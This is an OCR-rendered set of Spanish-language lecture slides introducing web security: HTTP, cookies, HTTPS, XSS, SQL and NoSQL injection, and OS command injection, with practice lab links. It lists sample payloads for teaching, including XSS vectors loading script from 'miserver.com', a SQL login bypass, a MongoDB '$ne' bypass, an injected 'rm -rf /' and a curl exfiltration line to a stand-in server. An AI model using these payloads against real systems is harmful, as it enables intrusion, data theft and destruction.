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¢Qué vamos a ver?

Introduccion:

 Protocolo HTTP(s), URLs y cabeceras
- HTML, CSS, JS

e Cookies: sesiones

HTML Injection / Cross Site Scripting (XSS)

Inyecciones a BBDDs:
* Ejemplo relacional: MySQL

 Ejemplo no relacional: MongoDB

Inyeccidon de comandos
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Introduccion



HTTP: Estructura de una URL

Todos sabemos que es una URL de forma intuitiva,

pero ;qué formato siguen?

————AUtH O/l ]

http:// www.example.com: 80 /path/to/myfile.html ?key1=value1&key2=value2 —

Scheme

Domain Name

Port Path to the file Parameters L}Anchor

Fuente Imagen: https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Web_mechanics/What_is_a_URL

Ejemplos:

» https://google.es/search?q=como+ganar+dinero
- ftp://ftp.funet.fi/pub/doc/rfc/rfc1738.txt

« file:/localhost/etc/passwd (o file.///etc/passwd)
- gopher://172.0.0.1:6379/_%2A3%0D

* mailto:raul.martin@urjc.es?subject=Que+aula+es
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HTTP: Hypertext Transfer Protocol

Claves:

La informacidén se transmite como texto

Es un protocolo sin estado, el servidor no tiene memoria

Nos vamos a centrar en la version 1.0/1.1 por simplicidad. Aunque la versién 2.0 y
3.0 son diferentes, herramientas como Burp adaptan automaticamente.

HTTP/1.1 301 Moved Permanently
Location: http://www.google.es/

GET /index.html HTTP/I.I

Host: google.es Content-Type: text/html; charset=UTF-8
Cabecera2: valor2 ‘ SoennCengs: I
. [\n\n]
Cabecera3: valor3 <HTML><HEAD>
[\n\n] <TITLE>30 Moved</TITLE></HEAD><BODY>
<HI>30] Moved</HI>

The document has moved
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HTTP

¢ Cabeceras

Ejemplos de cabeceras tipicas:

Peticion: Ambas: Respuesta:

* Referer * Content-Length e Server

« Cookies « Content-Type « Set-Cookie
« User-Agent » Location

e Authorization

¢ Has visto una cabecera rara y no sabes que hace?

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
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https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

HTTP: Codigos de respuesta

-lXX - INFORMATIONAL
- EJ: 101 Switching Protocols

. SUCCESS
ZXX . Ej: 200 OK

- REDIRECTION

- EJ: 301 Moved permanently
4XX - CLIENT ERROR

- Ej: 405 Method Not Allowed, 403 Forbidden
SXX - SERVER ERROR

- EJ: 503 Service Unavailable

Mas Informacion:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status

Raul Martin Santamaria  ——

Isaac Lozano Osorio
Sergio Pérez Peld


https://developer.mozilla.org/en-US/docs/Web/HTTP/Status
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HTTP: HTML
HTML: HyperText Markup Language

Referencia elementos:

https://developer.mozilla.org/es/docs/Web/HTML/Element

3 o
meta [ title ] l sterJ

b /p p [ p | (2] (a_
[@[ b ][em][ i ] [q][codel[kbd] |sup][sub] lstrong] [strongJ

Fuente imagen: https://www.researchgate.net/figure/Flowchart-for-the-proposed-crawler-working_figl 322350008
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https://developer.mozilla.org/es/docs/Web/HTML/Element

HTTP: CSS

CSS: Cascading Style Sheets.

Utilizado para dar estilo a contenido estructurado.

Se aplica principalmente a documentos HTML, pero también

se puede usar con otros documentos como SVG, XML, etc.

Hello World!

These paragraphs are styled with C55.

<style>

P 1
color: red,;
text-align: center;

I

<fstyle>
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HTTP: Javascript

Javascript: lenguaje de programacion.
Creado originalmente para ejecutar en el contexto de un

navegador web

Node.s permite utilizarlo como un lenguaje de uso general.

Ejemplos:
 Manipular el contenido con interacciones del usuario
* Peticiones web en segundo plano, sin recargar la pagina.

Tiene ciertas peculiaridades...

> ["1e","10","10","10"].map(parselnt)
» (4) [1e, NaN, 2, 3]

> ["1e","10","10","10" ].map(function(x){return parseInt(x)})
» (4) [1e, 10, 10, 10]
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HTTP: Contenido

Hyper... i Text? » El contenido del body

aq

u"_—_.

» Youlube ~

Home
Explore

Subscriptions

Library
History
Watch later

Liked videos

SUBSCRIPTIONS

il

Music
Sports
Gaming
Movies

ITUBE

YouTube Premium

Movies

Gaming

Live

youtube.com

Meditation music Comedies Playlists

iz, COREANA PENSO QUE EL ESTABA
RAPEANDO

COMIENDO EN EL RESTAURANTE MAS
CARO DE BARCELONA
&

Background music House Music Music

11:55:00

Musica para Eliminar la Negatividad
Subconsciente | Disolver Patrones...

™ lofi hip hop radio - beats to relax/study

to

Lo-fi

¥

°

Nature Jazz Reggaeton Deogs

Compilation @ § % PART 5

LINH LA

CaP -'i. .- \
ARG

B:03

:QUE PASA AL METER LAVA ARDIENTE
EN LA TRITURADORA?

[ ]

FC Barcelona

QuEby,
17}

=

no tiene por qué ser texto

Clash Royale FiFA 22

Ed Sheeran, Kygo, Avicii, Robin Schulz,
Lost Frequencies The Chainsmokers...

LA RESISTENCIA - Entrevista a Apolonia
Lapiedra | #LaResistencia 17.06.2021
&
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HTTP: Contenido

Hyper... ; Text? » El contenido del body
no tiene por qué ser texto

Request

Pretty lIGE\TE Hex \n =

1

10
11
12
13
14
15
16

GET
/youtube/img/promos/growth/1263£05576c9£137587330
£92e03e0a725f426£d9d40d28a8942692dc8f6b210_640x48
.png HTTP/2

Host: www.gstatic.com

Sec-Ch-Ua: "Chromium";v="95", ";Not A
Brand";v="99"

Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"

Accept:
image/avif,image/webp,image/apng,image/svg+xml,im
age/*,*/*:;q=0.8

X-Client-Data: CLmIywE=

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://www.youtube.com/
Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;g=0.9,en;g=0.8

Response

Pretty m Hex Render \n =

LS I R PE NI ]

10
11
12
13
14
15
16

17
18
19
20

21

HTTP/2 200 OK

Accept-Ranges: bytes

Content-Type: image/png

Cross-Origin-Resource-Policy: cross-origin

Cross-0Origin-Opener-Policy-Report-Only:
same-origin; report-to="youtube"

Report-To:

{"group":"youtube", "max_age":2592000, "endpoints":[
{"url":"https://csp.withgoogle.com/csp/report-to/y
outube"} 1}

Content-Length: 6735

Date: Thu, 04 Nov 2021 18:14:45 GMT

Expires: Thu, 04 Nov 2021 19:04:45 GMT
Last-Modified: Mon, 21 Sep 2020 12:45:00 GMT
X-Content-Type-Options: nosniff

Server: sffe

X-Xss-Protection: 0

Age: 2639

Cache-Control: public, max-age=3000

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443";

ma=2592000,h3-0050=":443";

ma=2592000,h3-0046="1:443";

ma=2592000,h3-0043=":443"; ma=2592000,guic=":443";
ma=2592000; v="46,43"

[pPNG

IHDRO[JJEsRGB®IéDeXTfMM*[]i [] 0][Jga'IDATxi[]e0SOCWS
J¢\ES5pB%E5-[])d6x2[JyEed0a: Ia9chb81l¢xL[]pt"a[]

S[IK&2 "1 | 0&w>IP {10 {¥. {¥+VOy¥%I1690zBw]~By&u}y&dauls
OEQvau' 6¢¢i[JyAasFéDge3NéwJa (O0" (00" -KeaeDGG [JiQF
yO.0eEhsuéfu-00" (00" ~J
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HTTP: Sesiones y Cookies

.Sin memoria?

THESECURITYOFFICE VIEWERS
ALSO WATCH

ManzDev 36
Software and Gam...

RAUL MARTIN SANTAMARIA

Mis asignaturas ~

TheSecurityOffice

The Security Office - Sacando los trapos sucios de Jorge
Science & Technology ' Spanish

W O Inspector Console [ Debugger 1 Network {3} Style Editor () Performance 4k Memory [ Stc

v E Cache Storage

@ https://www.twitch.tv Key a

v E Cookies chatSettings

@ https://www.twitch.tv livestreamResumeTimes

local_copy_unique_id
v @ Indexed DB kil n bl
local_storage_app_session_id

@ hitps:fjwww twitch.by local_storage_device_id

v @ Local Storage mod-view-unban-requests-last...

@ https://www.twitch.tv sentry_device_id

. tag-size- he-uv.2
v @ Session Storage el
twilight.emote_picker_history

@ https://www.twitch.tv T——

Value
{"fontSizePreference":"default","lastUsedFollowerDurations":
{"43712718268":574,"43712814380":3168,"43713181964":15
"oqciFi5T1

"4cb8700

"55a9%a6b

null

"b9fdb1f7f72f215e"
{"value":{"Spanish":66.56666564941406,"|RL":37.8999938¢
{"9":{"emote":{"id":"9" "token":"<3","type":"SMILIES"},"lastU
{"default":false}
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HTTP: Sesiones y Cookies

(.,Si n m e m O r i a ? RAUL MARTIN SANTAMARIA . =

Mis asignaturas ~

El protocolo HTTP no
tiene estado, pero los
servidores o el cliente
con JS pueden =1
implementarlo

Iirations":
1964":15
@ hitps:fjwww twitch.by local_storage_device_id "55a9%a6hb
v @ Local Storage mod-view-unban-requests-last... null
@ https:/fwww.twitch.tv sentry_device_id "bofdb1f7f72f215e"
- @ Session Storage tag-size-cache-uv.2 {"value":{"Spanish":66.56666564941406,"|RL":37.8999938¢
) twilight.emote_picker_history {"9":{"emote":{"id":"9" "token":"<3","type":"SMILIES"},"lastU
@ RS PEIATCh:LY video-muted {"default":false}
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HTTP vs HTTPS

(Queé significa realmente el candadito?

O H wikipedia.org ola ‘ columbia.edu
[—

HTTPS no es mas que TLS + HTTP

Funcionamiento (muy simplificado):

* Anade un paso Inicial para establecer una clave de cifrado simeétrica
* Antes de enviar cualquier dato por el canal, se cifra con dicha clave

* En el otro extremo (cliente o servidor), se descifra con la misma clave
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HTML Injection &
Cross Site Scripting (XSS)



HTML Injection / XSS

Ejemplo: https://xss-game.appspot.com/level

FourOrFour
=) FourOrFour

Searcn Sorry, no results were found for paco. Try again

g src="/static/logos/levell.png">
LV>
Sorry, no results were found for <b>paco</b>.

src="/static/logos/levell.png">
method="GET">

id="query" name="query"> <a href="?">Try again</a>.

id="button" type="submit" value="Search">
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https://xss-game.appspot.com/level1

HTML Injection / XSS

.Y sl insertamos contenido adicional? Ej: imagen

FourOrFour

FourOrFour
)

src="https ://i.imgur.

com/Hr3kfek.png >% Search

Sorry, no results were found for paco

body>
mg src="/static/logos/levell.png'>
<div>

Sorry, no results were found for

<b>paco<img src="https://1i.imgur.com/Hr3kfek.png"></b>.
<a href="?">Try again</a>.

</div>
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HTML Injection / XSS

Cuando podemos ejecutar Javascript,
hablamos de XSS (Cross Site Scripting)

paco<img src/onerror=alert()>

© xes-game.appspot.com Ejemplos de payloads tipicos:

Congratulations, you executed an alert:

e <script/src=//miserver.com></script>
undefined

[ ] 1 =
You can now advance to the next level. < lmg/ src/onerror=..>

* <svg/onload=eval(name)>
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Inyecciones a BBDDs



SQL Injection

La forma mas frecuente de almacenar datos es
mediante BBDD relacionales.
Para manipular y consultar los datos, se utiliza el

lenguaje SQL (Structured Query Language).

Frontend ' Backend
| = — L b
————.  — —
-

Client Web Server Application Server Database
]

]
Fuente imagen: https://www.seobility.net/de/wiki/Frontend CC-BY-SA 4.0
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SQL Injection

Ej: Insertar nueva entidad

INSERT INTO users(u nassword, email)

VALUES (la a aSs ;s

Nomlbre
tabla Columnas de las
Valores a insertar que damos
valores

Ej: Buscar entidad

SELECT _* FROM users

RE username = Nombre
tabla
Sellecmclma todas Filtrado por
as columnas “ombre de
usuario
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SQL Injection

Ejemplo de login: username y password
COMOo parametros que se buscan en la BBDD

Login
username = request.form.get("username")
password = request.form.get("password")
try:

db_password = db.session.execute(

f"Select password from users where username

). fetchone()

Frontend Backend (Python 3)

¢Qué ocurre si el usuario se llama D’Angelo?

‘{username}"’
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SQL Injection

Ejemplo de login: username y password
COMOo parametros que se buscan en la BBDD

Login

ERROR 1064 (42000): You have an error in your SQL syntax; check

the manual that corresponds to your MySQL server version for t
he right syntax to use near 'Angelo’;
‘' at line 1

Frontend Backend (Python 3)

¢Qué ocurre si el usuario se llama D’Angelo?

{username}"’
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SQL Injection

Ejemplo: login bypass

username —-» admin’; -- -

Objetivo: Iniciar sesion
con cualguier usuario
sin conocer su
contrasena

Si la query que se ejecuta es:

SELECT * FROM users
WHERE username =°¢ g
AND password = ¢ ;

!

Al concatenarla con
la entrada del usuario...

SELECT * FROM users
WHERE username =‘admin’; -- -

\o
Raul Martin Santamaria N

Isaac Lozano Osorio
Sergio Pérez Peld




SQL Injection

Ejemplo: operaciones Utiles en MySQL

Deteccion Nn° columnas: oroer BY {1,2,3.n}

Exfiltrar datos: unton seLEcT ..
O concatenando strings: CONCAT(..., .., ..)

Nombres tablas: seLect table _name FROM information schema.tables
Nombres columnas; seLect column_name FROM information_schema.columns
Recuerda, cada BBDD (Oracle, SQL Server, MariaDB, etc.)
tiene su propio dialecto de SQL.

Referencias Utiles:

https://portswigger.net/web-security/sal-injection/cheat-sheet

https://book.hacktricks.xyz/pentesting-web/sgl-injection
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https://portswigger.net/web-security/sql-injection/cheat-sheet
https://book.hacktricks.xyz/pentesting-web/sql-injection

SQL Injection

Existen herramientas como SQLMap que simplifican nuestro
trabajo, pero debemos entender como funciona la
vulnerabilidad para usarla de forma efectiva

[ 1
[INFO]
[INFO]

B:34:2¢ 1
it looks like the
for the remaining
/nl Y

[18:34:29] [ 1

testing connection to the target URL

heuristics detected web page charset "ascii’

checking if the target 1is protected by some kind of WAF/IPS

testing if the target URL content is stable

target URL content is stable

testing if GET parameter '"id' is dynamic

GET parameter "id' appears to be dynamic

heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
heuristic (XSS5) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) at

testing for SQL injection on GET parameter 'id'
back-end DBMS is 'MyS0L'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [

testing 'AND boolean-based blind - WHERE or HAVING clause'

[16:34:29] [WARNING] reflective wvaluels) found and filtering out

[18:34:29] [INFO]
string="1luther")

GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --

https://github.com/sglmapproject/sglmap
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https://github.com/sqlmapproject/sqlmap

NoSQL Injection

Shan popularizado las bases de datos
NoSQL en los ultimos anos

%Mﬁ:@@@l \‘ﬁ%

I cassandra

-Neoyj

Aungue no son vulnherables a SQL Injection como tal
(jporgue no usan SQL!)
dependiendo de como procesen la entrada del usuario
aparecen nuevos vectores de ataque.
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NoSQL Injection
Ejemplo: MongoDB mongoDB

MongoDB almacena documentos JSON en colecciones

URL: https://vulnerable/login?username=u&password=u

SQL: Select * from users where username = ‘u’ and password = ‘p’

NoSQL: Users.find({$and: [{username: ‘u’}, {password: ‘p’}]})

Si el parametro password |lo controla el usuario,

puede ser posible inyectar operadores adicionales

https://vulnerable/login?username=u&password[$ne]=u

$

Users.find({$and: [{username: ‘u’}, {password:{$ne: “u”}}1})
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Inyeccion de comandos



Inyeccion de comandos

Los lenguajes de programacion tienen APIs para operaciones
con el SO: ficheros, sockets, ejecutar otros programas, etc.

Ej: suelen proveer funcionalidad para ejecutar comandos a
través de su API:

 PHP: exec, passthru, system, proc_open, ...

« C/C++:system, execl, execvp, ...

Python: os.system, os.popen, subprocess.*, ..

Java: Runtime.exec(), ProcessBuilder, ...

. [.]

Raul Martin Santamaria

Isaac Lozano Osorio
Sergio Pérez Peld



Inyeccion de comandos

fichero = open("{nombre}").readlines()

-FiChE'r'D - EyStem[: Ilcat .:: I‘J]:'ITII:'["E}"}
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Inyeccion de comandos

nombre = "medaigual; rm -rf /"

fichero = open(™ ").readlines()

ichero = system("cat
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Inyeccion de comandos

nombre = "medaigual; rm -rf /"

fichero = open("{nombre}").readlines()

fichero = open("medaigual; rm -rf /").readlines()

No hay ningun archivo llamado medaigual; rm -rf /

fichero = system("cat {nombre}")

fichero = system("cat medaigual; rm -rf /")

Espero que tengas backups...

()

‘=

e o)
=
I o
cC wu
o O
n o
£ C
£ G
© O
o
~— o
\38
Rt
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Inyeccion de comandos

Ejemplos
combinaciones para
Bash siguiendo
ejemplo anterior

FiChEFD — EFStEM{"EChD {ﬂ:ﬁbpe}u}

file; 1s
file | 1s
file || 1s
file && 1s
$(1s)

e
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Inyeccion de comandos

Y si el output no es visible?
. Qué podemos hacer?

= Redireccion a fichero visible desde el servidor web
= Ej:1ls >/var/www/html/output.txt 2>&1
= Exfiltracion fuera de banda (OOB, Out of Band)

= Herramientas: Ngrok, interactsh, Burp Collaborator, etc.

= Manual: ;curl miserver.com/exfil --data “ whoami™”

* Time based: cat file.txt || sleep 10
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iA practicar!



Retos para esta semana

1. PicoCTF, categoria “web exploitation™:

 |nsp3ctOr

 Local Authority

« GETaHEAD

« Cookies

« Where are the robots.txt
« Logon

 Login

e (Caas

2. Retos en la plataforma
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Practica adicional

Google XSS Games (https://xss-game.appspot.com/)

Portswigger Labs:

« https://portswigger.net/web-security/sgl-injection/lab-retrieve-hidden-data

« https://portswigger.net/web-security/sal-injection/lab-login-bypass

- https://portswigger.net/web-security/all-labs#cross-site-scripting

(todos los etiquetados como XSS Apprentice)

- https://portswigger.net/web-security/os-command-injection/lab-simple

-  https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays

- https://portswigger.net/web-security/os-command-injection/lab-blind-output-

redirection

- https://portswigger.net/web-security/nosqgl-injection/lab-nosgl-injection-bypass-

authentication
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https://xss-game.appspot.com/
https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
https://portswigger.net/web-security/sql-injection/lab-login-bypass
https://portswigger.net/web-security/all-labs#cross-site-scripting
https://portswigger.net/web-security/os-command-injection/lab-simple
https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication
https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication
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